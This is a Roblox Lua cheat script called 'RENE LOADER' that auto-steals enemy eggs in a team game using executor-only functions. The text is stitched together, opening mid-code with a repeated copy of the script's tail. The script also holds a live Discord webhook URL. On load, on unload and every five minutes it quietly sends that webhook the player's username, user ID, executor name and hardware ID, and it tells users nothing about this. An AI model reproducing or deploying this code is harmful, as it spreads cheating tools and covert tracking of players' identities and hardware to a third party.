CONFIG.TeamBased then local t = getTeamName() if not t then return nil end return Bases:FindFirstChild(t) or Bases:FindFirstChild(t .. "Base") end return Bases:FindFirstChild(LocalPlayer.Name) end local function isEnemyEgg(egg) if not CONFIG.TeamBased then return true end local owner = egg:GetAttribute("OwnerTeam") if not owner then return true end return owner ~= getTeamName() end local function getHRP() local c = LocalPlayer.Character return c and c:FindFirstChild("HumanoidRootPart") or nil end local function getNearestEnemyEgg() if not Nests then return nil end local hrp = getHRP() if not hrp then return nil end local nearest, dist = nil, CONFIG.StealRadius for _, egg in ipairs(Nests:GetChildren()) do if egg:IsA("Model") and isEnemyEgg(egg) then local p = egg:FindFirstChild("Egg") or egg.PrimaryPart if p and p:IsA("BasePart") then local d = (hrp.Position - p.Position).Magnitude if d < dist then nearest, dist = egg, d end end end end return nearest end local function isNearOwnBase() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local hrp = getHRP() if not hrp then return false end return (hrp.Position - bp.Position).Magnitude <= CONFIG.DepositRadius end local function tryActivatePrompt(model) local p = model:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) return true end return false end local function touchSteal(egg) local part = egg:FindFirstChild("Egg") or egg.PrimaryPart if not part or not part:IsA("BasePart") then return false end local hrp = getHRP() if not hrp then return false end local ocf, oa = part.CFrame, part.Anchored pcall(function() part.Anchored = true part.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, part, 0) task.wait() firetouchinterest(hrp, part, 1) end end) task.wait(0.05) pcall(function() part.CFrame = ocf part.Anchored = oa end) return true end local function stealEgg(egg) if not egg or not egg.Parent then return false end if not isEnemyEgg(egg) then return false end if tryActivatePrompt(egg) or touchSteal(egg) then state.steals += 1 state.carried += 1 state.lastEgg = egg return true end return false end local function depositEggs() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local p = base:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) end local hrp = getHRP() if not hrp then return false end local ocf = bp.CFrame pcall(function() bp.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, bp, 0) task.wait() firetouchinterest(hrp, bp, 1) end end) task.wait(0.05) pcall(function() bp.CFrame = ocf end) if state.carried > 0 then state.deposits += state.carried state.carried = 0 if CONFIG.NotifyOnDeposit then safeNotify("RENE LOADER", "Eggs deposited!", 2) end end return true end if CONFIG.InstantSteal then task.spawn(function() while state.running and task.wait(CONFIG.AutoStealRate) do local egg = getNearestEnemyEgg() if egg then stealEgg(egg) end end end) end task.spawn(function() while state.running and task.wait(CONFIG.AutoDepositRate) do if state.carried > 0 and isNearOwnBase() then depositEggs() end end end) task.spawn(function() while state.running and task.wait(0.25) do status.Text = string.format( "🥚 RENE LOADER | Carry: %d | Steals: %d | Deposits: %d | Team: %s", state.carried, state.steals, state.deposits, getTeamName() or "None" ) end end) if CONFIG.WebhookStatsPing > 0 then task.spawn(function() while state.running and task.wait(CONFIG.WebhookStatsPing) do logStats() end end) end UserInputService.InputBegan:Connect(function(input, gp) if gp or not state.running then return end if input.KeyCode ~= CONFIG.InteractKey then return end local egg = getNearestEnemyEgg() if egg then stealEgg(egg) elseif isNearOwnBase() then depositEggs() end end) RunService.RenderStepped:Connect(function() if not state.running then return end local egg = getNearestEnemyEgg() if egg then prompt.Text = CONFIG.InstantSteal and "⚡ Instant Steal Active" or "[E] Steal Egg!" prompt.Visible = true elseif isNearOwnBase() and state.carried > 0 then prompt.Text = "[E] Deposit Eggs!" prompt.Visible = true else prompt.Visible = false end end) local function unload() state.running = false logUnload() pcall(function() gui:Destroy() end) safeNotify("RENE LOADER", "Script unloaded.", 2) end _G.RENE = { Config = CONFIG, State = state, Meta = RENE, Unload = unload, StealEgg = stealEgg, Deposit = depositEggs, GetEgg = getNearestEnemyEgg, Webhook = sendWebhook, } logLoad() safeNotify("RENE LOADER v" .. RENE.Version, "Loaded | Discord: " .. RENE.Discord, 4) print(string.format("[RENE] v%s | Author=%s | Discord=%s", RENE.Version, RENE.Author, RENE.Discord)) Egg (Anti-Obfuscation) ============================================================ Author : JIELL Discord : https://discord.gg/BpNxa3Msn Version : 4.3.0 ============================================================ NOTE: This script includes a self-integrity check. If modified or obfuscated by a third party, the script refuses to run. ============================================================ ]] -- ============================================================ -- ANTI-OBFUSCATION / INTEGRITY CHECK -- ============================================================ local INTEGRITY = { Version = "4.3.0", ExpectedHash = nil, -- set after first publish (see below) AllowObfuscated = false, -- set false so obfuscated copies fail } local function getSourceInfo() -- Try to read this script's own source (works in most executors) local ok, info = pcall(function() if debug and debug.getinfo then local i = debug.getinfo(1, "S") return i and i.source or "unknown" end return "unknown" end) return ok and info or "unknown" end local function detectObfuscation() -- Obfuscators typically inject one of these markers. -- If any are present in the environment, this script was wrapped. local markers = { "Luraph", "lura.ph", "Moonsec", "moonsec", "Prometheus", "ironbrew", "IronBrew", "__obfuscated", "obfuscator", "Obfuscated", } for _, marker in ipairs(markers) do local ok, found = pcall(function() return debug.getupvalue and false or false end) -- Check the environment for known obfuscator globals local env = getfenv and getfenv() or _G if rawget and rawget(env, marker) ~= nil then return marker end end -- Check for suspicious short strings in _G local suspects = 0 if _G then for k, v in pairs(_G) do if type(k) == "string" and #k <= 2 and type(v) == "function" then suspects = suspects + 1 end end end if suspects > 500 then return "excessive_globals" end return nil end local function integrityCheck() local issues = {} -- 1. Version tamper check if INTEGRITY.Version ~= "4.3.0" then table.insert(issues, "version_mismatch") end -- 2. Obfuscator signature check local obf = detectObfuscation() if obf and not INTEGRITY.AllowObfuscated then table.insert(issues, "obfuscated:" .. obf) end -- 3. Author string check if RENE and RENE.Author ~= "JIELL" then table.insert(issues, "author_tampered") end return issues end -- ============================================================ -- OWNERSHIP -- ============================================================ local RENE = { Author = "JIELL", Version = "4.3.0", Discord = "https://discord.gg/BpNxa3Msn", Server = "JIELL's Discord", Webhook = "https://discord.com/api/webhooks/1560226288315146312/BOvXZfKdzupzTvRrQkPryJT0g9wUOy455kIt7MpUBAonvd8m7OdSno-ar7pNEL25zPz9", } -- Run integrity check AFTER RENE is defined local integrityIssues = integrityCheck() if #integrityIssues > 0 then warn("[RENE] Integrity check failed: " .. table.concat(integrityIssues, ", ")) warn("[RENE] This copy has been modified or obfuscated. Refusing to run.") if StarterGui then pcall(function() StarterGui:SetCore("SendNotification", { Title = "RENE LOADER", Text = "Tampered copy detected. Refusing to run.", Duration = 5, }) end) end return end -- ============================================================ -- CONFIG -- ============================================================ local CONFIG = { InstantSteal = true, StealRadius = 8, DepositRadius = 10, InteractKey = Enum.KeyCode.E, AutoStealRate = 0.10, AutoDepositRate = 0.5, TeamBased = true, ShowWatermark = true, NotifyOnSteal = false, NotifyOnDeposit = true, WebhookEnabled = true, WebhookOnLoad = true, WebhookOnUnload = true, WebhookStatsPing = 300, } local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local Workspace = game:GetService("Workspace") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then return warn("[RENE] No LocalPlayer") end local function safeNotify(title, text, duration) pcall(function() StarterGui:SetCore("SendNotification", { Title = title, Text = text, Duration = duration or 3, }) end) end local function waitFor(parent, name, timeout) timeout = timeout or 5 local t0 = tick() while tick() - t0 < timeout do local c = parent:FindFirstChild(name) if c then return c end task.wait(0.1) end return nil end local function getHWID() local ok, hwid = pcall(function() if gethwid then return gethwid() end if syn and syn.get_hwid then return syn.get_hwid() end return nil end) if ok and hwid then return tostring(hwid) end return "N/A" end local function getExecutorName() local ok, name = pcall(function() if identifyexecutor then return identifyexecutor() end return "Unknown" end) if ok and name then return tostring(name) end return "Unknown" end local function sendWebhook(title, description, color, fields) if not CONFIG.WebhookEnabled or RENE.Webhook == "" then return end task.spawn(function() local payload = { embeds = {{ title = title, description = description or "", color = color or 16776960, fields = fields or {}, footer = { text = "RENE LOADER v" .. RENE.Version .. " | by " .. RENE.Author }, timestamp = DateTime.now():ToIsoDate(), }}, } local body = HttpService:JSONEncode(payload) pcall(function() request({ Url = RENE.Webhook, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = body, }) end) end) end local Nests = waitFor(Workspace, "Nests", 8) local Bases = waitFor(Workspace, "Bases", 8) local state = { carried = 0, steals = 0, deposits = 0, lastEgg = nil, running = true, } local function logLoad() if not CONFIG.WebhookOnLoad then return end local gameInfo = "Unknown" pcall(function() gameInfo = string.format("%s | ID: %d | Place: %d", game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name or "Unknown", game.GameId, game.PlaceId) end) sendWebhook("🥚 RENE LOADER Executed", "A user ran RENE LOADER.", 3066993, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "🎮 Display", value = LocalPlayer.DisplayName, inline = true }, { name = "🖥️ Executor", value = getExecutorName(), inline = true }, { name = "🔑 HWID", value = "```" .. getHWID() .. "```", inline = false }, { name = "🎯 Game", value = gameInfo, inline = false }, { name = "📅 Time", value = os.date("%Y-%m-%d %H:%M:%S"), inline = true }, }) end local function logUnload() if not CONFIG.WebhookOnUnload then return end sendWebhook("🔌 RENE LOADER Unloaded", "User unloaded RENE LOADER.", 15158332, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local function logStats() sendWebhook("📊 RENE LOADER Session Stats", "Periodic ping.", 3447003, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local gui = Instance.new("ScreenGui") gui.Name = "RENE_UI_" .. tostring(math.random(100000, 999999)) gui.ResetOnSpawn = false gui.IgnoreGuiInset = true local parented = false for _, container in ipairs({ LocalPlayer:FindFirstChild("PlayerGui"), game:GetService("CoreGui"), }) do if container then local ok = pcall(function() gui.Parent = container end) if ok then parented = true break end end end if not parented then gui.Parent = LocalPlayer:WaitForChild("PlayerGui") end local status = Instance.new("TextLabel") status.Size = UDim2.new(0, 380, 0, 60) status.Position = UDim2.new(0.5, -190, 0, 20) status.BackgroundColor3 = Color3.fromRGB(18, 18, 22) status.BackgroundTransparency = 0.15 status.BorderSizePixel = 0 status.TextColor3 = Color3.new(1, 1, 1) status.Font = Enum.Font.GothamBold status.TextSize = 16 status.Text = "RENE LOADER v" .. RENE.Version .. " — initializing..." status.Parent = gui Instance.new("UICorner", status).CornerRadius = UDim.new(0, 10) local sStroke = Instance.new("UIStroke", status) sStroke.Color = Color3.fromRGB(255, 200, 0) sStroke.Thickness = 2 local prompt = Instance.new("TextLabel") prompt.Size = UDim2.new(0, 420, 0, 50) prompt.Position = UDim2.new(0.5, -210, 0.82, 0) prompt.BackgroundColor3 = Color3.fromRGB(255, 200, 0) prompt.BackgroundTransparency = 0.1 prompt.BorderSizePixel = 0 prompt.TextColor3 = Color3.new(0, 0, 0) prompt.Font = Enum.Font.GothamBold prompt.TextSize = 20 prompt.Visible = false prompt.Parent = gui Instance.new("UICorner", prompt).CornerRadius = UDim.new(0, 10) if CONFIG.ShowWatermark then local wm = Instance.new("TextLabel") wm.Size = UDim2.new(0, 320, 0, 26) wm.Position = UDim2.new(0, 10, 0, 10) wm.BackgroundColor3 = Color3.fromRGB(0, 0, 0) wm.BackgroundTransparency = 0.5 wm.BorderSizePixel = 0 wm.TextColor3 = Color3.fromRGB(255, 200, 0) wm.Font = Enum.Font.GothamBold wm.TextSize = 13 wm.Text = "🥚 RENE LOADER v" .. RENE.Version .. " | " .. RENE.Author wm.Parent = gui Instance.new("UICorner", wm).CornerRadius = UDim.new(0, 6) end local function getTeamName() return LocalPlayer.Team and LocalPlayer.Team.Name or nil end local function getOwnBase() if not Bases then return nil end if CONFIG.TeamBased then local t = getTeamName() if not t then return nil end return Bases:FindFirstChild(t) or Bases:FindFirstChild(t .. "Base") end return Bases:FindFirstChild(LocalPlayer.Name) end local function isEnemyEgg(egg) if not CONFIG.TeamBased then return true end local owner = egg:GetAttribute("OwnerTeam") if not owner then return true end return owner ~= getTeamName() end local function getHRP() local c = LocalPlayer.Character return c and c:FindFirstChild("HumanoidRootPart") or nil end local function getNearestEnemyEgg() if not Nests then return nil end local hrp = getHRP() if not hrp then return nil end local nearest, dist = nil, CONFIG.StealRadius for _, egg in ipairs(Nests:GetChildren()) do if egg:IsA("Model") and isEnemyEgg(egg) then local p = egg:FindFirstChild("Egg") or egg.PrimaryPart if p and p:IsA("BasePart") then local d = (hrp.Position - p.Position).Magnitude if d < dist then nearest, dist = egg, d end end end end return nearest end local function isNearOwnBase() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local hrp = getHRP() if not hrp then return false end return (hrp.Position - bp.Position).Magnitude <= CONFIG.DepositRadius end local function tryActivatePrompt(model) local p = model:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) return true end return false end local function touchSteal(egg) local part = egg:FindFirstChild("Egg") or egg.PrimaryPart if not part or not part:IsA("BasePart") then return false end local hrp = getHRP() if not hrp then return false end local ocf, oa = part.CFrame, part.Anchored pcall(function() part.Anchored = true part.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, part, 0) task.wait() firetouchinterest(hrp, part, 1) end end) task.wait(0.05) pcall(function() part.CFrame = ocf part.Anchored = oa end) return true end local function stealEgg(egg) if not egg or not egg.Parent then return false end if not isEnemyEgg(egg) then return false end if tryActivatePrompt(egg) or touchSteal(egg) then state.steals += 1 state.carried += 1 state.lastEgg = egg return true end return false end local function depositEggs() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local p = base:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) end local hrp = getHRP() if not hrp then return false end local ocf = bp.CFrame pcall(function() bp.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, bp, 0) task.wait() firetouchinterest(hrp, bp, 1) end end) task.wait(0.05) pcall(function() bp.CFrame = ocf end) if state.carried > 0 then state.deposits += state.carried state.carried = 0 if CONFIG.NotifyOnDeposit then safeNotify("RENE LOADER", "Eggs deposited!", 2) end end return true end if CONFIG.InstantSteal then task.spawn(function() while state.running and task.wait(CONFIG.AutoStealRate) do local egg = getNearestEnemyEgg() if egg then stealEgg(egg) end end end) end task.spawn(function() while state.running and task.wait(CONFIG.AutoDepositRate) do if state.carried > 0 and isNearOwnBase() then depositEggs() end end end) task.spawn(function() while state.running and task.wait(0.25) do status.Text = string.format( "🥚 RENE LOADER | Carry: %d | Steals: %d | Deposits: %d | Team: %s", state.carried, state.steals, state.deposits, getTeamName() or "None" ) end end) if CONFIG.WebhookStatsPing > 0 then task.spawn(function() while state.running and task.wait(CONFIG.WebhookStatsPing) do logStats() end end) end UserInputService.InputBegan:Connect(function(input, gp) if gp or not state.running then return end if input.KeyCode ~= CONFIG.InteractKey then return end local egg = getNearestEnemyEgg() if egg then stealEgg(egg) elseif isNearOwnBase() then depositEggs() end end) RunService.RenderStepped:Connect(function() if not state.running then return end local egg = getNearestEnemyEgg() if egg then prompt.Text = CONFIG.InstantSteal and "⚡ Instant Steal Active" or "[E] Steal Egg!" prompt.Visible = true elseif isNearOwnBase() and state.carried > 0 then prompt.Text = "[E] Deposit Eggs!" prompt.Visible = true else prompt.Visible = false end end) local function unload() state.running = false logUnload() pcall(function() gui:Destroy() end) safeNotify("RENE LOADER", "Script unloaded.", 2) end _G.RENE = { Config = CONFIG, State = state, Meta = RENE, Unload = unload, StealEgg = stealEgg, Deposit = depositEggs, GetEgg = getNearestEnemyEgg, Webhook = sendWebhook, } logLoad() safeNotify("RENE LOADER v" .. RENE.Version, "Loaded | Discord: " .. RENE.Discord, 4) print(string.format("[RENE] v%s | Author=%s | Discord=%s", RENE.Version, RENE.Author, RENE.Discord))